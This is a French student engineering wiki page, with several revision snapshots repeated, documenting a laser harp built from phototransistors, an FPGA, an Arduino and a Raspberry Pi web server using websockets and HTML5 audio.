Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:51:51Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :
<audio controls="controls" id="mySound">
</audio>
On récupère l'identifiant de cette balise avec
var test1 = document.getElementById("mySound");
afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à
test1.src="sound.mp3";
avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec
test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:45:54Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
